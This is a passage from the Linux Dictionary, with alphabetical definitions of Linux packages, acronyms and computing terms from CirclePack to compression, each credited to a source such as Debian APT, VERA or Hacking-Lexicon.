creation and display of circle packings CirclePack is a C program for the creation, display, manipulation, and storage of circle packings using the X Window System. Computations may be done in either hyperbolic, Euclidean, or spherical geometry, though the routines for the latter are not yet complete. For the theory behind the package, one must consult the research literature. One of the author's primary interests concerns the parallels between the developing theory of circle packings and the classical theory of analytic functions. Home page: <http://www.math.utk.edu/~kens/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

circuslinux

The clowns are trying to pop balloons to score points! "Circus Linux!" is based on the Atari 2600 game "Circus Atari" by Atari, released in 1980. Gameplay is similar to "Breakout" and "Arkanoid" – you slide a device left and right to bounce objects into the air which destroy a wall. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CJK-latex

A LaTeX macro package for CJK (Chinese/Japanese/Korean) CJK is a macro package for LaTeX to enable typesetting Chinese, Japanese, and Korean. It supports (even simultaneously) various CJK encodings, e.g. Big5, GB, JIS, KS, CNS. Please also install: * freetype1-tools to use TrueType fonts with CJK (ttf2pk and ttf2tfm). * tfm-arphic-* for DFSG-free Chinese TrueType fonts donated by Arphic. tfm-arphic-bsmi00lp and tfm-arphic-bkai00mp for Big5 Ming and Kai fonts; tfm-arphic-gbsn00lp and tfm-arphic-gkai00mp for GB Sung and Kai fonts. Main Author: Werner Lemberg <wl@gnu.org> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cksfv

sfv checker and generator SFV, Simple File Verification, uses crc32 checksums to verify that files are intact. cksfv automates the task of generating and checking .sfv sheets. For integrity, md5 checksums are probably a better alternative, but sfv is a widely used method for verification on the USENET binary newsgroups and other places. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cksum

checksum and count the bytes in a file From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CL

Column Address Strobe Latency (CAS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ConnectionLess (CO) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CL

Control Language (IBM, OS/400) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

clanbomber

Bombberman like game Blow up your friends and avoid being blown up yourself. Features include: * Nice graphics and sound * Powerups * Up to 8 players * Computer controlled players From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

clanlib

Core runtime libraries for the ClanLib game SDK ClanLib delivers a platform independent interface to write games with. If a game is written with ClanLib, it should be possible to compile the game under any platform (supported by ClanLib, that is) without changing the application source code. But ClanLib is not just a wrapper library, providing a common interface to low-level libraries such as DirectFB, DirectX, OpenGL, X11, etc. While platform independence is ClanLib's primary goal, it also tries to be a service-minded game sdk. In other words, we have put great effort in to designing the API, to ensure ClanLib's easy of use – while maintaining it's power. This package provides the core clanlib libraries (layer1, layer2, etc). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

clara

Free OCR program for Unix Systems Clara OCR is a free (GPL) OCR for systems that support the C library and the X window system (e.g. most flavours of Unix). Clara OCR is intended for large scale digitalization projects. It features a powerful GUI and a web interface for cooperative digitalization of books. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ClarkConnect

ClarkConnect is a Red Hat based distribution which can transform standard PC hardware into a dedicated broadband gateway and easy-to-use server. The software is a great solution for small businesses, home offices, and networked homes. ClarkConnect version 1.1 was released July 31, 2002. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLASS

Centralized Local Area Selective Signaling From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLASS

Custom Local Area Signaling Service From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Classic C

/klas'ik C/ n. [a play on `Coke Classic'] The C programming language as defined in the first edition of K&R, with some small additions. It is also known as `K&R C'. The name came into use while C was being standardized by the ANSI X3J11 committee. Also `C Classic'. An analogous construction is sometimes applied elsewhere: thus, `X Classic', where X = Star Trek (referring to the original TV series) or X = PC (referring to IBM's ISA-bus machines as opposed to the PS/2 series). This construction is especially used of product series in which the newer versions are considered serious losers relative to the older ones. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

clc-intercal

Compiler for the INTERCAL language This package provides a Perl-based compiler for the INTERCAL programming language, usable either from the command line or as a Perl module. CLC-INTERCAL is designed to be almost compatible with the original (Princeton 1972) compiler. It also implements several extensions to the original language, including support for object orientation, operator overloading and quantum computing. The non-binary base extensions supported by the C-INTERCAL compiler are not yet implemented. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLDC

Connected Limited Device Configuration (KVM, CDC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLE

Certified Lotus Engineer (Lotus) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cle

Wrap any command-line driven tool with readline This handy tool lets you use history and line-editing in any text oriented tool. This is especially usefully with third-party commercial tools that cannot be modified to use readline themselves. It's not perfect but it works pretty well. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cleanlinks

remove dangling symbolic links and empty directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cleanup-info

clean up the mess that bogus install-info may have done From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

clear

clear the terminal screen From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

clear-text

In cryptography, the term clear-text describes messages that have not been encrypted. The word has the connotation of data that should be encrypted, but isn't (such as clear-text passwords).
Misunderstanding: The word text comes from traditional cryptography that meant the text of messages, though these days text can refer to binary computer data as well. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLEC

Competitive Local Exchange Carrier From VERA

CLI

Common Language Infrastructure (MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLI (Command Line Interface)

A full-screen or windowed text-mode session where the user executes programs by typing in commands with or without parameters. The CLI displays output text from the operating system or program and provides a command prompt for user input. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLI (command line interface)

A means of communication between a program and its user, based solely on textual input and output. Commands are input with the help of a keyboard or similar device and are interpreted and executed by the program. Results are output as text or graphics to the terminal. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLIC

Linux Dictionary

Chemnitzer Linux Cluster (Linux, Chemnitz), "CLiC" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLIC

Computer Liability Insurance Coverage From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLIC

MandrakeSoft, Bull and INPG/INRIA, a Grenoble Research Group created CLIC, a Linux Clustering Distribution. The first CLIC version, released October 30, 2002, features rapid deployment, auto-configuration, MPICH, LAM and PVM support, a large number of mathematical libraries, and Netjuggler (a parallelized virtual reality 3D engine). A 'special purpose/mini' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLID

Calling Line IDentification From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

client

A machine that requests resources from other machines (servers). A client application, e.g. the popular email client elm, is a program that makes requests on other applications for information. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Client

A machine that requests services (e-mail, for example) from a server. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Client

A software program that is used to contact and obtain data from a Server software program on another computer, often across a great distance. Each Client program is designed to work with one or more specific kinds of Server programs, and each Server requires a specific kind of Client. A Web Browser is a specific kind of Client. From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

client

In a computer network, a user or process on a node that requests information or service from another node (usually a server). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

client-server

A common form of distributed system in which software is split between server tasks and client tasks. A client sends requests to a server, according to some protocol, asking for information or action, and the server responds. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

clif

C language interpreter Clif, a C-like Interpreter Framework, is an open-ended system for fast development of programs with C syntax. The program is compiled and if syntactically correct, code is immediately generated. The code is generated for a virtual machine. The virtual machine is a part of the framework. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

clig

Command Line Interpreter Generator Based on a simple specification file clig generates C-code for a function `Cmdline *parseCmdline(int argc, char **argv)` which parses the command-line of a typical C-program and returns the result in a structure of type `Cmdline`. Besides `parseCmdline()`, the function `void usage(void)` is generated and will be called by the command-line parser if the command line contains obvious errors. One of the main reasons to use clig is the automatic generation of a `usage()`-function which is always up-to-date with respect to the options actually understood by the program. Additionally, clig creates a manual page. For more information, see <http://wsd.iitb.fhg.de/~kir/clighome/>. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLIM

Common LISP Interface Manager (CLOS, LISP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

clips

"C" Language Integrated Production System CLIPS 6.0 is an OPS-like forward chaining production system written in ANSI C by NASA. The CLIPS inference engine includes truth maintenance, dynamic rule addition, and customizable conflict resolution strategies. CLIPS, including the runtime version, is easily embeddable in other applications. CLIPS includes an object-oriented language called COOL (CLIPS Object-Oriented Language) which is directly integrated with the inference engine. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

clisp

GNU CLISP, a Common Lisp implementation Common Lisp is a high-level, general-purpose programming language. GNU CLISP is a Common Lisp implementation by Bruno Haible of Karlsruhe University and Michael Stoll of Munich University, both in Germany. It mostly supports the Lisp described in the ANSI Common Lisp standard. It runs on microcomputers (OS/2, Windows NT/2000, Windows 95/98, Amiga 500-4000, Acorn RISC PC) as well as on Unix workstations (Linux, SVR4, Sun4, DEC Alpha OSF, HP-UX, BeOS, NeXTstep, SGI, AIX, Sun3 and others) and needs only 2 MB of RAM. The user interface comes in German, English, French, Spanish and Dutch. GNU CLISP includes an interpreter, a compiler, a large subset of CLOS, a foreign language interface and a socket interface. An X11 interface is available through CLX and Garnet. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLIW

Configurable Long Instruction Word (IC, CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLasS Identifier (COM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLTP

ConnectionLess Transport Protocol (OSI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLU

Command Line Utility: a program that can be executed from the command prompt. Examples of command line utilities in Linux are ls, dd, tar and gzip. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLU (Command Line Utility)

A program that is run from a command line session, or shell, such as Tar or Mkdir. From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

clue

Lisp package for clue/cli/pictures: X interfaces for lisp Clue is to lisp what xlib is to C. It's basic, but close to the metal. Clio is to Lisp what Xt is to C. It uses CLOS to give an OO interface to X. Pictures is an imaging-system for clue. It lets people use constraints and such to draw pictures. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CLUG

Chemnitzer Linux User Group (Chemnitz, user group, Linux) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ClumpOS

From Pachyderm Software, ClumpOS is a CD-based Linux/MOSIX mini-distribution designed to allow you to quickly, or temporarily, add nodes to a MOSIX cluster. By default ClumpOS will attempt to configure the system for correct MOSIX operation, but an 'Expert' mode allows users to manually configure network and MOSIX settings. Version R5.0 was released February 12, 2002, with Linux kernel 2.4.17 and MOSIX 1.5.7 for 2.4.17. Version R7.0 was released September 18, 2002. Support for ClumpOS was discontinued as of January 31, 2003. A CD-based distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cluster

1. A physical group of blocks on a computer disk, treated as a single logical unit. 2. A collection of linked computer systems used for high-performance data processing load-balancing. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cluster

A network of workstations (PCs or other) running Linux. (Also, see Beowulf.) From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cluster

On a floppy or hard disk, the basic unit of data storage. A cluster includes two or more sectors. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cluster

Range from a conventional network of workstations (NOW) to essentially custom parallel machines that just happen to use Linux PCs as processor nodes. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ClusterKnoppix

ClusterKnoppix is a basically a modified Knoppix with the openMosix kernel. Bittorrent: clusterKNOPPIX_V3.2-2003-05-20-EN-cl1.iso was released May 28, 2003. A 'special purpose/mini' distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cmix

A program specializer for C A program specializer or, as it is also called, a "partial evaluator" takes the source code for a program or a routine and (commonly) some of its input, and tries to produce faster but equivalent code, utilizing the fact that some of the variables will have known values so that some of the program's actions can be precomputed. This allows one to combine the maintainability of a generic parameterized source code with the speed of programs optimized for specific problem instances. C-Mix is a program specializer that works on portable C code. You will need a C compiler for compiling intermediate programs. For advanced use you may also want a WWW browser for browsing the analysis results. From Debian 3.0r0 APT

CMOS

Complementary-symmetry Metal-Oxide Semiconductor (IC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CMOS

When the system is powered off, some persistent BIOS settings are stored in a small bit of battery sustained RAM built using CMOS technology. The name "CMOS settings" have become synonymous with "BIOS settings". Some viruses have been known to corrupt these settings, resulting in a condition where the machine can no longer boot. Simply setting a jumper to disconnect the battery backup will restore the settings back to factory defaults. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CMOS (Complementary Metal-Oxide Semiconductor)

An energy-saving chip made to duplicate the functions of other chips, such as memory chips or microprocessors. CMOS chips are used in battery-powered portable computers and in other applications where reduced electrical consumption is desired. CMOS also refers to a special CMOS chip that operates the real time clock included on a motherboard and stores the basic system configuration, including floppy and hard disk types, amount of installed memory, and wait state settings. These settings are retained while the computer is off with only nominal battery support.

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

code

This word has a number of uses. It may describe the "code" used to program computers. It may describe the "codes" used in encryption. It may be a number, such as an area-code or ICMP code. source code Describes the code that a programmer writes. It is compiled into binary object-code . See open-source. object code The output from compiling source-code. area code ICMP code. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

code2html

Syntax highlighter. Code2html is a perl script which converts a program source code to syntax highlighted HTML, or any other target for which rules are defined. It may be used as a simple console program, converting a single source code file to a single output file, it can patch HTML files including special command sequences to insert syntax highlighted snippets of code, or it can be used as a CGI script. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

codebook

In ancient times, a codebook was a book where you looked up a word, and replaced with another word according to the substitution table in the book. For example, you may look up the words "attack at dawn" in the book and come up with the words mouse dog cat that you send to your troops. The troops receiving the message would likewise look up these words in their codebooks in order to figure out the original message. Key point: In block-ciphers, the key represents a codebook. In other words, you could use the key to generate a huge book of matching pairs whereby each plaintext block would match to exactly one ciphertext block. Then, you could encrypt messages by looking them up in this table. See also: ECB From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

codebreaker

A Master Mind clone using GTK Code Breaker is a variation on the game "MasterMind" (R) that is put out by Pressman (R). So if you know how to play "MasterMind" (R) you should catch onto this game right away. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CODEC

COder – DECoder From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Codec

In multimedia, a program that compresses audio, video, or graphics files for efficient storage or transmission, and decompresses them for playback purposes. Codec is an abbreviation for compressional decompression. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Codec (COder/DECoder)

Device used to convert analog signals to digital signals for transmission and reconvert signals upon reception at the remote site while allowing for the signal to be compressed for less expensive transmission. From Glossary of Distance Education and Internet Terminology

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COE

Central Office Equipment From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COEES

COE Engineering System (COE) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COFDM

??? (Digital audio) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COFF

Common Object File Format (Unix) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COIPX

Connection Orientated Internet Packet eXchange (Novell, Netware, IPX), "CO-IPX" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COL

Caldera Open Linux (Caldera, Linux) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

col

filter reverse line feeds from input From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COLA

A shorthand way of referring to the Internet newsgroup comp.os.linux.announce, where Linux-related materials are announced. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

colcrt

filter nroff output for CRT previewing From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COLD

Computer Output on LaserDisk From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

coldsync

A tool for syncing PalmOS PDAs with Unix workstations Coldsync is a tool for syncing PalmOS PDAs with a Unix workstation with a focus on consistency of data. It also has an API which allows conduits to be written in Perl, among other languages. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COLIBRI

COprozessor fuer LISP auf der Basis von RISC (RISC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

collateindex.pl

generate DocBook index files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

College Linux

CollegeLinux is made available by Robert Kennedy College, Del.Aimont, Suisse to both RKC and non RKC students. CollegeLinux is a new, stand-alone operating system based on Slackware. The aim of this experimental Linux distribution is to provide to students with an operating system which is easy to install and use and which provides an alternative to the traditional commercial operating systems. Entry added March 4, 2003. College Linux 2.3 (Darth Vader) was released May 9, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

colorgcc

Colorizer for GCC warning/error messages A Perl wrapper to colorize the output of compilers with warning / error messages matching the gcc output format. More information can be found at the colorgcc web site <http://home.i1.net/~jamoyers/software/>. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

colorize

A robust log colorizer in Perl. This is a short (no, it's not short anymore :) perl script to colorize your logs. You can even use syslog-ng to redirect all logs to the script and colorize them on the fly! From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

colormake

a simple wrapper around make to colorize output This package contains colormake.pl which parses the output of make to colorize it to make it easier read. In addition, there are two wrapper scripts included, cmake and clmake, which can be invoked instead of make with colorized output on-the-fly. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

colrconv

Convers client with curses color support Colrconv is a modified version of VA3DP's ttylink client. In addition to the basic split screen session it gives you color and sound support plus some line editing capabilities, a scroll buffer and a status line. Also the default port is changed to 3600 (convers). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

colrm

remove columns from a file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

column

columnate lists From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COM

Component Object Model (OLE, OLE2, OCX, ActiveX, MS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COM

Computer Output on Microfilm From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COM

Continuation of Message From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COM port

Communication or serial port on PCs of the Intel variety usually used for a data communication interface. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COMA

Cache Only Memory Architecture (SMP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COMAL

COMMon Algorithmic Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COMDEX

COMputer Dealer's EXposition (fair) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

comedi-source

Comedi kernel module source Comedi (Control and Measurement Device Interface) is a collection of device drivers for data acquisition devices. This includes most devices that have analog-to-digital (A/D) converters, digital-to-analog (D/A) converters, raw digital I/O, digital counters, and timers. Well-known manufacturers include National Instruments, Data Translation, and Measurement Computing. A list of supported devices can be found in /usr/share/doc/comedi-source/. These drivers are not included in the Linux kernel source, so if you want to use these devices with Debian, you should install this package and compile the modules. The packages libcomedi0 and libcomedi-dev contain documentation about Comedi and Comedilib. This package provides the source code for Comedi. The kernel source is required to compile these modules. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

comm

compare two sorted files line by line From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Comma-delimited file

A data file, usually in ASCII format, in which a user or program serates the data items by commas to facilitate the transfer of data to another program. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Command

A user-initiated signal given to a program that initiates, terminates, or otherwise controls the execution of a specific operation. In command-driven programs, you type the command statement

and its associated syntax and press Enter, In a menu-driven program, you choose a command from an on-screen menu. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

command

An instruction to execute a process given to a computer via a keyboard, mouse, or voice request. Commands can also be called from another running process or an executable script. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

command

In a Linux-based network, a Linux system that uses the file systems provided by another Linux system. In the X window system, it is an application program which depends on the display server. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

command line

A space provided directly on the screen where users type specific commands. In Linux, you open a shell prompt and type commands at the command line, which generally displays a \$ prompt at the end. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

command line option

A selected configuration or setting passed to a command by a user or process that executes the command with a certain feature or pointer that is not available by default. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Command Prompt

The DOS/Windows and OS/2 term for the part of the command line interface where the user types commands. (Also, see Shell Prompt.) From I-gloss This term can also be used in a Linux/UNIX context to describe the '#' or '\$' symbol which signifies that the system is ready to accept some input. From Binh <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

command-line (command-prompt, DOS prompt, shell, CLI, command-line interface)

One of the two fundamental user interfaces. Whereas most people are familiar with "graphical user interfaces (GUIs)" using windows and mice, the command-line provides a raw interface into the inner workings of the computer. Key point: The average hacker does all his/her work from the command-line. Virtually all hacker tools are command-line oriented. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Commands

You tell the computer what to do with single words typed into the computer one at a time. Modern computers appear to have done away with the typing of commands by having beautiful graphical displays that work with a mouse, but, fundamentally, all that is happening is that commands are being secretly typed in for you. Using commands is still the only way to have complete power over the computer. You don't really know anything about a computer until you come to grips with the commands it uses. Using a computer will very much involve typing in a word, pressing , and then waiting for the computer screen to spit something back at you. Most commands are typed in to do something useful to a file. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

command_oriented_history

If set, bash attempts to save all lines of a multiple-line command in the same history entry. This allows easy re-editing of multi-line commands. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Common UNIX Printing System (CUPS)

A freely-distributable collection of tools and drivers that allow UNIX and UNIX-compatible operating systems to control printer devices, manage print queues, and process print requests. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

compact disc read-only memory (CD-ROM)

An optical disc that contains computer data. Storage capacity is typically 650-700 megabytes. CD-ROMs can usually be read by different kinds of computers, depending on the data stored on the disc. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

compact disc recordable (or rewritable) (CD-R(W))

A writable optical disc that contains computer data. CD-Rs can only be written to once, while CD-RWs can be written, erased, and rewritten. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COMPARTS

COMputergestuetztes PARTner-TeilebestandsSystem (MBAG) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

compface

Compress/decompress images for mailheaders, user tools Converts 48x48 .xbm format (X bitmap) files to a compressed format that can be placed in your X-Face: mail header. Some mailreaders, like exmh will then display this image when the user is reading your mail. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

compile

To turn a program from source code into an executable machine code file. From Linux Guide

@FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Compile

To turn programming source code into an executable program. From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Compiled Language

A language that requires a compiler program to turn programming source code into an executable machine-language binary program. After compiling once, the program can continue to be run from its binary form without compiling again. Compiled languages/programs tend to be faster than interpreted or p-code languages, but require compilers (which can be expensive), and are often more difficult to program in than interpreted and p-code languages. Examples of compiled languages are C and C++, COBOL, and FORTRAN. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

compiler

A computer program that translates high-level programs, called source files, into low-level programs, called object files. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Compiler

A program that reads the statements written in a human-readable programming language, such as Pacal or Modula-2, and translates the statements into a machine-readable executable program. Compiled programs run significantly faster than interpreted ones because the program interacts directly with the microprocessor and doesn't need to share memory space with the interpreter. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

compiler

In programming, a compiler takes human readable source code and converts it into the binary code that the computer can understand. Key point: A compiler is a form of lossy compression and one-way encryption. All the information meaningful to humans is removed from the code leaving only the information necessary for the computer. This means that humans can no longer easily read the resulting program directly. Because of the "one-way" nature of the operation, programs cannot be used to recover the existing source code. This effect is different in various languages. C++ is the worst language in terms of decompilation; Java is the best. Most Java applets can be decompiled back to some semblance of their previous form. This has led to a market for programs that further obfuscate Java binaries in an effort to hide the original source code. Some compilers do leave human-readable symbols behind for debugging purposes. They won't reveal the original source, but can still be useful for reverse engineering They can be "stripped" from the binary. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

compilercache

a caching wrapper around compilers to speed up compilations Compilercache is a wrapper around your C and C++ compilers. Each time you compile something, the wrapper puts the result of the

compilation into a cache. And once you compile the same thing again, the result will be picked from the cache instead of being recompiled. Care is taken to ensure that compilation with and without compiler-cache always results in identical object files. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Compledge Sentinel

Compledge Sentinel is a Linux distribution designed for monitoring, auditing and intrusion detection. – a complete solution to solve as many monitoring needs and aspects as possible. A wide variety of open source software is included: Nagios, Nagat, Nessus, Snort, ACID, openMosix, Apache /w OpenSSL, PHP and MySQL. The whole package is distributed on one CD, ready to install on any x86-based computer. Version RC2.1 was released May 22, 2003. A 'special purpose/mini' distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

component

A single element within a larger system; it can be hardware or software based and performs essential functions needed by the system. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

compose

execute programs via entries in the mailcap file From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Compress

A UNIX compression utility that creates files with the *.Z extensin. A copyrighted program, compress cannot be freely redistributed, so many UNIX users prefer to use the Open Software Foundation's gunzip, which creates compressed files with the *.gz extension. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Compress

To make a file smaller by applying a compression algorithm, usually for the purpose of conserving space or speeding up file transfers. This can also refer to the Unix command to compress a file which appends '.Z' to the filename, or to the free GNU enhanced version, gzip. From KADOWKEV

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Compressed file

A file converted by a file compression utility to a special format that minimizes the disk storage space required. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Compressed Video

Video signals are downsized to allow travel along a smaller carrier. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

compression

Since encrypted data is essentially random, you cannot compress it. This defeats networking standards designed to automatically encrypt traffic (such as dial-up modems). Therefore, data must be compressed before it is encrypted. For this reason, compression is becoming an automatic feature to most encryption products. The most often used compression standard is gzip and its compression library zlib. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

compression

Special encoding of data to reduce byte size; useful in storing and archiving large (or multiple) files or for transmission of data over a network. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Compression

The compacting of files to save storage space and reduce transfer time. Compression uses algorithms such as Lempel-Ziv, LZW and Huffman coding. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Compression

The reduction of a file's size by means of a compression program. The two types of compression are lossless compression and lossy compression. In lossless compression, the compression process allows for subsequent decompression of the data with no loss of the original data. Lossless compression is used for program and data files. Lossy compression, in which the compression processes remove some of the data in a way that is not obvious to a person using the data. Lossy compression is used for sounds, graphics, animations, and videos. Many modems offer on-the-fly compression, and often use the MNP5 or V.42bis protocols. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

compression methods

